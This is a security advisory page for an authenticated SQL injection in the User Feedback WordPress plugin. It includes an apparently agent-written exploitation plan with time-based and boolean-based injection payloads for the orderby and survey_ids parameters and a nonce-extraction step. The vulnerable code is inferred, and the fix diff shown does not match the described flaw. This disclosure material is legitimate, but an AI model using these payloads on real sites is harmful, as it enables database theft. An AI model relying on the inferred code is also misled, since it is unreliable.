User Feedback <= 1.10.1 - Authenticated (Editor+) SQL Injection
Description
The User Feedback plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.10.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.10.1What Changed in the Fix
Changes introduced in v1.11.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-39475 (User Feedback SQL Injection) ## 1. Vulnerability Summary The **User Feedback** plugin (version <= 1.10.1) is vulnerable to an **authenticated SQL injection** in its REST API backend. The vulnerability stems from the `orderby` parameter (or similar sort…
Show full research plan
Exploitation Research Plan - CVE-2026-39475 (User Feedback SQL Injection)
1. Vulnerability Summary
The User Feedback plugin (version <= 1.10.1) is vulnerable to an **authenticated SQL injection** in its REST API backend. The vulnerability stems from the orderby parameter (or similar sorting/filtering parameters) being concatenated directly into a SQL query within the survey management logic without proper validation or use of $wpdb->prepare(). Because wpdb->prepare() does not support dynamic identifiers like column names for ORDER BY clauses, the plugin fails to implement a whitelist, allowing Editor-level users to append malicious SQL.
2. Attack Vector Analysis
- Endpoint:
/wp-json/userfeedback/v1/surveys - HTTP Method:
GET - Vulnerable Parameter:
orderby - Authentication: Required (Editor, Author, or Administrator). The CVSS indicates
PR:H, but the title says "Editor+", implying anyone withedit_postsor survey management capabilities. - Preconditions: At least one survey must exist in the database so that the vulnerable code path (fetching surveys) is executed.
3. Code Flow (Inferred)
- Entry Point: An authenticated user accesses the User Feedback dashboard, which triggers a GET request via the Vue.js frontend to the REST API:
GET /wp-json/userfeedback/v1/surveys?orderby=id&order=desc. - REST Controller: The request is handled by a class (likely
UserFeedback_Rest_Surveys_Controller) registered during therest_api_inithook. - Parameter Extraction: The controller retrieves the
orderbyparameter from theWP_REST_Requestobject. - SQL Sink: The parameter is passed to a data fetching method (e.g., in a
UserFeedback_Surveys_Queryclass). - Vulnerable Query: The code constructs a query similar to:
$orderby = $request->get_param('orderby'); $order = $request->get_param('order'); $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}userfeedback_surveys ORDER BY $orderby $order"); - Injection: By providing a subquery for
orderby, an attacker can execute time-based or boolean-based extraction.
4. Nonce Acquisition Strategy
The REST API requires a _wpnonce for authenticated requests (the wp_rest nonce).
- Authentication: Log in to WordPress as an Editor.
- Navigation: Navigate to the User Feedback Surveys page:
/wp-admin/admin.php?page=userfeedback_surveys. - Extraction: The WordPress REST API nonce is usually stored in the global
wpApiSettingsobject. - Tool: Use
browser_evalto extract it:// Injected via the PoC agent browser_eval("window.wpApiSettings?.nonce")
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability.
Step 1: Baseline Request
Send a normal request to confirm the baseline response time.
- URL:
http://localhost:8080/wp-json/userfeedback/v1/surveys?orderby=id&order=asc - Header:
X-WP-Nonce: [EXTRACTED_NONCE]
Step 2: Time-Based Payload
Inject a SLEEP() command into the orderby parameter.
- Payload:
(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Encoded URL:
http://localhost:8080/wp-json/userfeedback/v1/surveys?orderby=%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29&order=asc
Step 3: Data Extraction (Proof of Concept)
Extract the first character of the database version.
- Payload:
(CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
6. Test Data Setup
- Create Editor User:
wp user create attacker attacker@example.com --role=editor --user_pass=password - Ensure Surveys Exist:
The surveys table must have entries. Use the plugin's functionality or WP-CLI to ensure at least one survey is present.
Note: If the table doesn't exist, the agent should browse to the plugin settings to trigger table creation first.# (Inferred table name based on plugin slug) wp db query "INSERT INTO wp_userfeedback_surveys (title, status) VALUES ('Test Survey', 'publish');"
7. Expected Results
- Baseline: Response time < 500ms.
- Exploit: Response time > 5000ms.
- Response Body: A JSON array of survey objects (if the SQL syntax is valid) or an empty array.
8. Verification Steps
After performing the HTTP-based injection, verify the database structure to confirm the target table:
wp db query "DESCRIBE wp_userfeedback_surveys;"
Confirm the user role is indeed Editor:
wp user get attacker --field=roles
9. Alternative Approaches
If the surveys listing endpoint is patched or filtered:
Endpoint:
POST /wp-json/userfeedback/v1/surveys/trash- Vector: The
survey_idsarray parameter. - Payload:
{"survey_ids": ["1) OR SLEEP(5)-- -"]} - Reasoning: Bulk actions often use
implode()on an array and insert it into anIN (...)clause without preparing each individual element.
- Vector: The
Error-Based:
IfWP_DEBUGis on, try causing a syntax error to see if$wpdb->last_erroris returned in the REST response:orderby=id'"(Invalid quote)- Check response for:
"message": "You have an error in your SQL syntax..."
Summary
The User Feedback plugin for WordPress is vulnerable to SQL Injection in versions up to 1.10.1. This occurs because the `orderby` parameter in the surveys REST API endpoint is concatenated directly into a SQL query without proper sanitization or the use of `$wpdb->prepare()`. Authenticated attackers with Editor-level permissions can exploit this to perform time-based or boolean-based extraction of sensitive information from the database.
Vulnerable Code
// Inferred from Research Plan - REST API Controller for surveys listing $orderby = $request->get_param('orderby'); $order = $request->get_param('order'); $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}userfeedback_surveys ORDER BY $orderby $order"); --- // assets/vue/js/chunk-common.js: line 1 (truncated snippet identifying the API endpoint) r=(e={})=>n.get("surveys",{params:e}).then(e=>e.data)
Security Fix
@@ -1,4 +1,8 @@ <?php + +if ( ! defined( 'ABSPATH' ) ) { + exit; +} // Nothing to see here header( 'HTTP/1.0 403 Forbidden' ); ... (truncated)
Exploit Outline
The exploit targets the `/wp-json/userfeedback/v1/surveys` REST API endpoint using a GET request. An attacker must first authenticate as an Editor (or any role with 'edit_posts' capabilities) and retrieve a valid WordPress REST API nonce (usually available in the `wpApiSettings.nonce` variable on the dashboard). The attacker then provides a malicious SQL payload to the `orderby` parameter, such as a subquery containing a `SLEEP()` function for time-based injection or a conditional `CASE` statement for boolean-based data extraction. Since the plugin fails to validate the `orderby` value against a whitelist before appending it to the query, the injected SQL is executed directly by the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.